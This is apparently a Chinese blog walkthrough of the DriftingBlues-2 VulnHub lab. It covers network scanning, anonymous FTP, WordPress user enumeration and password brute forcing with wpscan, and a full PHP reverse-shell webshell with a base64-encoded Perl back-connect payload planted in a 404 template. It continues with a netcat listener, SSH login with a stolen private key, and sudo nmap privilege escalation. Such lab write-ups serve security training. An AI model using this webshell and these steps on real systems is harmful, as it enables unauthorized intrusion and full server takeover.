对DriftingBlues-2靶机进行渗透测试

本文详细描述了一次渗透测试的过程,从信息收集开始,包括使用KaliLinux的工具如netdiscover、nmap和wpscan来发现和分析靶机DriftingBlues-2的服务和漏洞。通过FTP匿名登录、WordPress扫描及密码爆破,成功获取用户访问权限。然后利用404页面植入反弹shell,实现远程控制。最后通过私钥登录和sudo权限提权至root,完成靶机的完全控制。
摘要由CSDN通过智能技术生成

目录

环境信息

渗透测试

一. 信息收集

1、打开kali,查看kali的IP地址和子网掩码

2、使用netdiscover扫描主机

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

4、访问网页,查看基本信息

5、使用wpscan工具爆破用户名和密码

二. 漏洞查找与利用

1、写入反弹shell

2、反弹shell

三、提权

1、私钥免密登录为普通用户,获得flag1

2、提权至root用户,得到flag2

参考文章


环境信息

靶机:DriftingBlues-2,IP地址:192.168.52.149

攻击机:Kali,IP地址:192.168.52.134

下载: https://download.vulnhub.com/driftingblues/driftingblues2.ova

渗透测试

一. 信息收集

1、打开kali,查看kali的IP地址和子网掩码

因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段,靶机的网段是:192.168.52.0/24

2、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24 ##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到靶机的IP地址

arp-scan -l

 获得靶机靶机ip:192.168.52.149

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.149 -sV只扫描端口及其版本号 -A扫描端口的详细信息

 目标靶机开放了21(FTP匿名登录服务)、22(SSH服务)以及80(HTTP服务)

根据扫描信息知道,允许匿名登录,尝试登录

用户名:anonymous

密码:(空)

ftp 192.168.52.149 ls get secret.jpg exit

里面也没什么东西倒是发现一张密码图片,下载到本地进行,未发现有什么信息,留下备用

 

4、访问网页,查看基本信息

使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

 没有检测到CMS信息

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.149 -e * -i 200 -i 状态码 只显示该状态码 -x 状态码 不显示该状态码

目录扫描得到一个blog目录和blog目录下的wp-login.php登录页面

访问http://192.168.52.149/blog/,发现里面有许多博客可以访问

 点击链接,无法进入,可能未识别域名

 那么在/etc/hosts中添加192.168.52.149  driftingblues.box

 可以正常访问该域名,而且使用浏览器插件Wappalyzer得到该系统使用的wordpress架构

 所以可以使用wpscan进行扫描,得到可以登录的用户名,并破解出密码

5、使用wpscan工具爆破用户名和密码

使用kali的wpscan来扫描一下用户名:

wpscan --ignore-main-redirect --url http://192.168.52.149/blog/ --enumerate u --force

wpscan -h可以查看各种参数以及定义,--enumerate 枚举 u 枚举用户名

 得到了一个用户名:albert

接着爆破一下这个用户的密码:

wpscan --url http://192.168.52.149/blog/ --passwords rockyou.txt --usernames albert

其中需要使用kali下的usr/share/wordists/rockyou.txt密码字典进行爆破

进入到/usr/share/wordlists下你会发现有一个rockyou.txt.gz

 需要解压才能得到rockyou.txt

gzip -c -d rockyou.txt.gz > /root/桌面/rockyou.txt

 爆破成功,获得密码:scotland1

访问:http://driftingblues.box/blog/wp-login.php,登录后台

 登录成功

二. 漏洞查找与利用

1、写入反弹shell

查找可以写入shell的地方,找到有一个404.php的页面可以编辑,此处使用php反弹shell的脚本,只需要修改ip和port为指定的值即可,保存

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

2、反弹shell

kali进行监听

nc -lvvp 4444

 此时访问一个不存在的url,会进行跳转到404错误

 反弹shell成功

 获得交互shell:

python -c 'import pty; pty.spawn("/bin/bash")'

三、提权

1、私钥免密登录为普通用户,获得flag1

进入home目录中,发现一个用户freddie,进入用户目录,有一个txt文件,但没有权限查看

 进入.ssh文件夹中,发现一对公私钥对,其中私钥有可读权限

把id_rsa的内容复制到本地为id_rsa文件,并修改权限为400

chmod 400 id_rsa

 使用私钥免密登录,可以成功登录为用户freddie

ssh freddie@192.168.52.149 -i id_rsa

 得到第一个flag

2、提权至root用户,得到flag2

查看sudo权限的命令,发现有一个nmap命令可以无密码root使用,用于提权

命令:sudo -l

根据使用nmap提权的方法:https://gtfobins.github.io/gtfobins/nmap/

进行提权

 根据第一个提示进行配置

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

执行可以得到root权限的shell,但是执行命令时,无法看到输入内容,可以输入reset,得到的shell可以看到输入的命令

 此时可以得到flag2

参考文章

靶机driftingblues2:

靶机driftingblues2 - FreeBuf网络安全行业门户

vulnhub靶场渗透实战12-driftingblues2:

vulnhub靶场渗透实战12-driftingblues2_学安全的杨咩咩的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值